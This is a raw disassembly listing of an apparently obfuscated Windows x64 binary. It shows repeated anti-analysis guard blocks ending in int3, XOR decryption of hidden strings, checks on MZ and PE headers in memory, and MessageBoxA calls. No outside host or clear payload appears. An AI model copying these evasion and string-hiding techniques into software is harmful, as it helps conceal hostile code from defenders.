mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f70b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f70b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f72b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
test rbx, rbx
je 0x14001b9e6
cmp qword [rbp + 0x10f8], r14
je 0x14001b9e6
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f7f0
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f7d0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f7d0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f7f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14001cb50
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400a4b00
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f8bb
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f89b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f89b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f8bb
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f978
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f958
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f958
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f978
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14001d24c
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000fa30
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fa10
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fa10
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fa30
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000fadf
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fabf
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fabf
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fadf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
add rdi, rsi
cmp r8d, 8
jb 0x14000fb0c
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14000fc32
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14000fb9d
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14000fb7f
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
movabs r13, 0x2beb6ad95121aad0
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x24]
mov r15d, 0x22ed25ae
mov edi, 0x2afbab8a
cmp rax, r12
jne 0x14000fcf5
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fcd5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fcd5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fcf5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000fd9f
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fd7f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fd7f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fd9f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000fe58
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fe38
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fe38
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fe58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x140010248
cmp rax, r12
jne 0x14000ff15
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fef5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fef5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ff15
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0x60
mov r10, r14
movabs rbx, 0x144bec43f
mov esi, 1
lea r11d, [rsi + 0x10]
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x144bec43e
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
add r10, rsi
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14000ff62
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400c0e90]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400c0c40]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400c0c90]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xedb353a9
mov dword [rbp + 0xc8c], 0x90a52467
mov dword [rbp + 0xc90], 0xa872c72f
mov word [rbp + 0xc94], Ordinal_79
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x4d6174c303
movabs r11, 0x9ac2e98606
mov r12d, 0x8ce18c5a
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
movabs rdi, 0x144bec43e
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
add r9, rsi
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140010051
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x140010189
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
xor byte [rdi], cl
add byte [rax], al
cmp rax, r12
jne 0x1400102f8
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400102d8
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400102d8
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400102f8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x24]
mov ebx, 0xe1f6e62c
cmp rax, r12
jne 0x1400103b5
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010395
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010395
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400103b5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140010790
cmp rax, r12
jne 0x14001046f
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001044f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001044f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001046f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0x60
mov r10, r14
movabs rbx, 0x144bec43f
mov esi, 1
lea r11d, [rsi + 0x10]
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r15, 0x8080808080808081
movabs r13, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
add r10, rsi
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400104c6
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400c0e90]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400c0c30]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400c0c90]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xedb353a9
mov dword [rbp + 0xccc], 0x90a52467
mov dword [rbp + 0xcd0], 0xa872c72f
mov word [rbp + 0xcd4], Ordinal_79
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x4d6174c303
movabs r11, 0x9ac2e98606
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
add r9, rsi
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001059e
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x1400106cf
mov rax, qword gs:[0x3a]
movabs r15, 0x2beb6ad95121aad0
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400106af
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400106af
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400106cf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14001bd1e
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010770
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010770
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movabs r15, 0x2beb6ad95121aad0
cmp rax, r12
jne 0x14001083b
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001081b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001081b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001083b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400c0ea0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xd8238132
mov dword [rbp + 0x98c], 0x1a6d738b
mov dword [rbp + 0x990], 0xb8661902
mov word [rbp + 0x994], 0x26dd
mov byte [rbp + 0x996], al
mov r8, r14
movabs rsi, 0x144bec43e
lea r10d, [rax + 0x1e]
movabs r9, 0x260e5aff62
movabs r12, 0x144bec43f
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x4c1cb5fec4
cmp r9, rax
jb 0x1400108b0
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400c0ed0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400c0ba0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs rbx, 0x4ea6338742
mov r10d, Ordinal_33
movabs r9, 0x275319c3a1
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x140010969
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14001bd28
mov rax, qword gs:[0x24]
mov esi, 0x8ce18c5a
cmp rax, rsi
mov ebx, 0xe1f6e62c
mov edi, 0x22ed25ae
jne 0x140010aee
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010ace
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010ace
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010aee
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010b98
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010b78
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010b78
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010b98
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
xor ecx, ecx
call fcn.140086774
mov rcx, rax
call fcn.140082054
mov rax, qword gs:[0x24]
mov r8d, 0x2afbab8a
cmp rax, rsi
jne 0x140010c66
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010c46
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010c46
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010c66
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010d1f
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010cff
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010cff
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010d1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010dd8
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010db8
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010db8
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010dd8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010e82
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010e62
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010e62
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010e82
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010f2c
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
